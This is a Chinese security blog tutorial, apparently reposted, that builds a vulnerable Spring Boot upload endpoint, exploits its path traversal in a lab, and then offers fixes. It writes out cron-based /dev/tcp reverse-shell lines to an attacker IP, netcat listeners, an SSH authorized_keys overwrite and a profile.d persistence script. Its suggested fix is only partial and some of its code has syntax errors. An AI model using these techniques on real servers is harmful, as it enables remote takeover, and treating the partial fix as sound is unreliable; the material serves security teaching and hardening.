SpringBoot框架文件上传的Trick

admin 2024年11月10日21:19:12评论6 views字数 12937阅读43分7秒阅读模式

SpringBoot框架文件上传的Trick

前言

Spring Boot 是一款基于 Spring 框架的快速开发 Web 应用的工具。它提供了很多功能强大的框架和引擎,如 Thymeleaf、Freemarker、Mustache 等,能够帮助开发者高效、便捷地实现各种需求。与其它框架不同的是,Spring Boot 应用程序默认不解析 JSP 页面。而且tomcat中间件大多数都是嵌入在jar里面的。虽然这导致在灵活性和可扩展性方面具有优势,但如果没有适当的措施来处理上传文件的内容,就会给恶意用户提供机会,利用此漏洞获取系统权限,甚至造成数据泄露等严重后果。

demo分析

创建一个springboot项目

创建一个工程

SpringBoot框架文件上传的Trick

FileUploadHazards

SpringBoot框架文件上传的Trick

SpringBoot框架文件上传的Trick

创建Java文件夹

SpringBoot框架文件上传的Trick

配置springboot

配置pom.xml

放在 里面

<!-- 继承父包 -->
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.0.7.RELEASE</version>
  </parent>

  <dependencies>
    <!-- web启动jar -->
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

    <dependency>
      <groupId>org.projectlombok</groupId>
      <artifactId>lombok</artifactId>
      <version>1.18.6</version>
      <scope>provided</scope>
    </dependency>
 </dependencies>

放在里面

    <resources>
      <resource>
        <directory>src/main/resources</directory>
        <includes>
          <include>**/*.*</include>
        </includes>
        <filtering>true</filtering>
      </resource>
    </resources>

完整的pom.xml

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>org.example</groupId>
  <artifactId>FileUploadHazards</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>war</packaging>

  

  <name>FileUploadHazards Maven Webapp</name>
  <!-- FIXME change it to the project's website -->
  <url>http://www.example.com</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>


  <!-- 继承父包 -->
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.0.7.RELEASE</version>
  </parent>

  <dependencies>
    <!-- web启动jar -->
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

    <dependency>
      <groupId>org.projectlombok</groupId>
      <artifactId>lombok</artifactId>
      <version>1.18.6</version>
      <scope>provided</scope>
    </dependency>

    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
  </dependencies>

  <build>
    <finalName>FileUploadHazards</finalName>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-war-plugin</artifactId>
          <version>3.2.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
      </plugins>
    </pluginManagement>

    <resources>
      <resource>
        <directory>src/main/resources</directory>
        <includes>
          <include>**/*.*</include>
        </includes>
        <filtering>true</filtering>
      </resource>
    </resources>
  </build>
</project>

创建一个文件,命名为application.yml,放在resources(原本没有,需要创建)

server:
  port: 8091

创建一个包,然后在里面创建一个Controller

package com.garck3h.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author: Garck3h
 * @Date: 2023/6/2
 * @Time: 21:28
 * Life is endless, and there is no end to it.
 **/

@Controller
@RequestMapping("/upload")
public class FileUploadHandler {
    @GetMapping("/index")
    public void upload(){
        System.out.println("index...");
    }
}

SpringBoot框架文件上传的Trick

创建一个启动类Application进行测试,注意启动类是放在controller的上一层

package com.garck3h;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author: Garck3h
 * @Date: 2023/6/2
 * @Time: 21:31
 * Life is endless, and there is no end to it.
 **/

@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class,args);
    }
}


SpringBoot框架文件上传的Trick

访问测试,成功打印了index... ;说明我们的项目没有问题了

SpringBoot框架文件上传的Trick

文件上传的demo

这里写一个REST 风格的控制器

package com.garck3h.controller;

import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author: Garck3h
 * @Date: 2023/6/2
 * @Time: 21:56
 * Life is endless, and there is no end to it.
 **/

@RestController
public class FileUploadController {

    @PostMapping("/upload")
    public String uploadFile(@RequestParam("file") MultipartFile file) {

        if (file.isEmpty()) {
            return "文件为空!";
        }

        try {
            // 获取项目资源路径
            String resourcePath = System.getProperty("user.dir");

            // 定义存储文件的目录路径和文件全名
            String folderPath = resourcePath + File.separator + "data" + File.separator + "upload" + File.separator;
            String fileName = file.getOriginalFilename();
            System.out.println("folderPath1:"+folderPath);

            // 若文件夹不存在,则创建文件夹
            File folderDir = new File(folderPath);
            if (!folderDir.exists()) {
                //使用mkdirs可以创建多级目录,mkdir只能创建一级目录
                folderDir.mkdirs();
            }

            // 将上传的文件写入磁盘
            byte[] bytes = file.getBytes();
            Path path = Paths.get(folderPath + fileName);
            Files.write(path, bytes);

            return "文件上传成功!n""路径:"+ path;
        } catch (IOException e) {
            e.printStackTrace();
            return "文件上传失败!";
        }
    }
}

前端的upload.html放在webapp目录中

upload.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>File Upload</title>
</head>
<body>
<div>
    <form action="/upload" method="POST" enctype="multipart/form-data">
        <label for="file">选择文件:</label>
        <input type="file" name="file" id="file"><br><br>
        <button type="submit">Upload</button>
    </form>
</div>
</body>
</html>

访问ip:port/upload.html;进行文件上传

SpringBoot框架文件上传的Trick

上传成功

SpringBoot框架文件上传的Trick

打包为jar部署到Linux

修改一下pom.xml

   
<!-- 修改一: -->
<packaging>jar</packaging>

<!-- 修改二:   -->
 <plugins>
      <!-- 保留jar插件 -->
      <plugin>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-maven-plugin</artifactId>
      </plugin>
    </plugins>

打包

SpringBoot框架文件上传的Trick

把FileUploadHazards.jar上传到Linux的/tmp进行启动。

SpringBoot框架文件上传的Trick

由于我们这里没有tomcat了,所以没办法访问upload.html来进行文件上传。但我们可以通过burp发包访问接口来上传。

SpringBoot框架文件上传的Trick

查看服务器成功看到了我们上传的123.jpg

SpringBoot框架文件上传的Trick

利用../指定文件存储目录

尝试通过../来把我们上传的文件放到上一层目录,也就是我们的/tmp/data目录下。下图可见成功控制存储到了上一层目录

SpringBoot框架文件上传的Trick

利用姿势一(定时任务)

由于crond 守护进程在后台静默地检查 /etc/crontab 文件和/var/spool/cron 及 /etc/cron.d/目录。

定时任务的路径有

/var/spool/cron/root   #文件要以用户名称存在
/etc/cron.d            #这里的文件(任意名称和后缀),也会被轮询加载执行
/etc/cron.daily/       #下面的任务都是每天625 执行
/etc/cron.weekly/      #下面的任务都是每周日 647 执行
/etc/cron.monthly/     #下面的任务都是每月1号 652 执行

用法

0    12   *   *   *   echo rce >> /tmp/hello
#分  时   日   月  周  |《==============命令行=======================》|

查看crond的运行状态

service crond status

SpringBoot框架文件上传的Trick

利用路径一

条件:

  • 目标服务器的cron正常运行
  • 上传路径可以控制
  • 可以上传任意后缀文件,因为这里需要上传root命名的文件

上传到:/var/spool/cron/ (需要有读写的权限)

nc监听

nc -lvnp 7799  #直接监听
nc -lvnp 7799 -s 192.168.88.133 #指定IP监听

上传文件到  /var/spool/cron/root 中。(centos系列主机)

上传文件到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/192.168.88.133/7799 0>&1

上传的文件名需为用户名称,如:root、test等用户

SpringBoot框架文件上传的Trick

这里踩了个坑,因为我攻击机是win,然后目标是Linux,换行会涉及到一些编码的问题,直到我在notepad++上转为Unix之后才能成功。

SpringBoot框架文件上传的Trick

成功反弹shell

SpringBoot框架文件上传的Trick

利用路径二

条件

  • 目标服务器的crond正常运行

  • 上传路径可以控制

  • 对/etc/cron.d目录有写入权限即可,后缀名不限

因为在/etc/cron.d这个目录下,任意后缀的文件都可以执行,我们创建一个每分钟执行一次的定时任务;并且把结果输出到/tmp下的haha文件中(注意这里要添加一个用户名)

*/1  *  *  *  *   root /bin/bash -i>&/dev/tcp/192.168.88.133/7799 0>&1

首先我们确认/var/spool/cron下是没有任何文件的

SpringBoot框架文件上传的Trick

burp上传

SpringBoot框架文件上传的Trick

nc进行监听

nc -lvnp 7799  #直接监听

成功反弹shell

SpringBoot框架文件上传的Trick

利用姿势二(替换公钥)

利用条件:

  • 上传路径可以控制

  • 对文件名无限制

  • 目标开启ssh端口

  • 支持密钥登录

生成公私钥

使用ssh-keygen生成公钥和私钥

ssh-keygen -t "加密方式" -C“描述”

ssh-keygen -t rsa

三次回车即可

SpringBoot框架文件上传的Trick

安装公钥

cd /root/.ssh
cat id_rsa.pub >> authorized_keys

SpringBoot框架文件上传的Trick

更改权限

authorized_keys需要600

.ssh需要700

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

开启公钥登录

vim /etc/ssh/sshd_config
PubkeyAuthentication no改为yes

SpringBoot框架文件上传的Trick

重启ssh服务

systemctl restart sshd.service

攻击者生成公钥

使用ssh-keygen生成公钥和私钥

ssh-keygen -t rsa

SpringBoot框架文件上传的Trick

把生成的id_rsa.pub上传到目标服务器

/../../../../../../../root/.ssh/authorized_keys

SpringBoot框架文件上传的Trick

在攻击者的机器上使用公钥成功连接目标

ssh root@192.168.88.104 -p 22

SpringBoot框架文件上传的Trick

利用姿势三(终端自启动)

条件:

  • 路径可以控制
  • .sh后缀未被禁止
  • 对/etc/profile目录有写权限

打开profile文件分析得知,用户打开bash窗口就会执行/etc/profile.d目录下所有.sh文件

SpringBoot框架文件上传的Trick

上传一个rce.sh后缀的文件到目标的/etc/profile.d目录下,其rce.sh的内容为反弹shell的内容

SpringBoot框架文件上传的Trick

nc进行监听

nc -lvnp 7799  #直接监听

模拟管理员登录目标终端,成功在nc上接收到了shell

SpringBoot框架文件上传的Trick

修复建议

  • 对上传文件的类型进行检查,只允许上传指定的文件类型。

  • 对上传文件的大小进行限制,以避免过大的文件占用服务器资源。

  • 校验文件名称,过滤../

  • 对上传文件进行重命名,以防止恶意覆盖其他文件或者构造路径遍历攻击。

对demo进行简单修复

对文件重命名,这里添加上一个时间戳

String fileName = System.currentTimeMillis() + "_" + file.getOriginalFilename();

检查是否包含../

// 判断文件名是否合法,即不存在 ../ 字符串
if (originalFileName.contains("../")) {
    // 文件名不合法,抛出异常或给出提示信息
else {
    // 文件名合法,执行保存操作
}

限制文件类型

// 定义允许上传的文件类型
List<String> allowedExtensions = Arrays.asList("png""jpg""gif");

// 获取上传文件的后缀名
String originalFileName = file.getOriginalFilename();    
String extension = originalFileName.substring(originalFileName.lastIndexOf('.') + 1);

// 判断文件类型是否在允许的范围内
if (!allowedExtensions.contains(extension)) {
    return "文件类型不合法!";
else {
    // 文件类型合法,执行保存操作
}

最终的demo

package com.garck3h.controller;

import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author: Garck3h
 * @Date: 2023/6/2
 * @Time: 21:56
 * Life is endless, and there is no end to it.
 **/

@RestController
public class FileUploadController {

    @PostMapping("/upload")
    public String uploadFile(@RequestParam("file") MultipartFile file) {

        if (file.isEmpty()) {
            return "文件为空!";
        }

        //这段代码实现了校验文件上传的后缀,只能是png,jpg,git后缀,其它后缀就显示文件非法
        // 定义允许上传的文件类型
        List<String> allowedExtensions = Arrays.asList("png""jpg""gif");

        // 获取上传文件的后缀名
        String originalFileName = file.getOriginalFilename();
        String extension = originalFileName.substring(originalFileName.lastIndexOf('.') + 1);

        // 判断文件类型是否在允许的范围内
        if (!allowedExtensions.contains(extension)) {
            // 不支持该类型文件,抛出异常或给出提示信息
            return "文件类型不合法!";

        } else {
            // 文件类型合法,执行保存操作
            try {
                // 获取项目资源路径
                String resourcePath = System.getProperty("user.dir");
                
                // 定义存储文件的目录路径和文件全名
                String folderPath = resourcePath + File.separator + "data" + File.separator + "upload" + File.separator;
                //对文件重命名,以防止恶意覆盖其他文件或者构造路径遍历攻击
                String fileName = System.currentTimeMillis() + "_" + file.getOriginalFilename();
                // 判断文件名是否合法,即不存在 ../ 字符串
                if (originalFileName.contains("../")) {
                    return "不允许包含../";
                } else {// 文件名合法,执行保存操作

                    // 若文件夹不存在,则创建文件夹
                    File folderDir = new File(folderPath);
                    if (!folderDir.exists()) {
                        folderDir.mkdirs();
                    }
                    // 将上传的文件写入磁盘
                    byte[] bytes = file.getBytes();
                    Path path = Paths.get(folderPath + fileName);
                    Files.write(path, bytes);

                    return "文件上传成功!n""路径:"+ path;

                }

            } catch (IOException e) {
                e.printStackTrace();
                return "文件上传失败!";
            }
        }
    }
}

测试../是否生效,测试结果OK

SpringBoot框架文件上传的Trick

测试后缀是否生效,测试结果OK

SpringBoot框架文件上传的Trick

测试重命名是否生效,测试结果OK

SpringBoot框架文件上传的Trick

总结

本文简单诠释了一下SpringBoot任意文件上传且路径可控的情况下带来的一些危害。以一个简单的代码例子来进行分析,分别从三个姿势来进行深入利用。最后对demo进行了简单的修复,主要是从校验文件类型、重命名文件和过滤../来实现。

声明:本文仅限技术研究与交流,严禁用于非法用途,否则产生的一切后果自行承担!转载_请注明来源!!!

原文始发于微信公众号(pentest):SpringBoot框架文件上传的Trick

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月10日21:19:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpringBoot框架文件上传的Trickhttps://cn-sec.com/archives/1949443.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息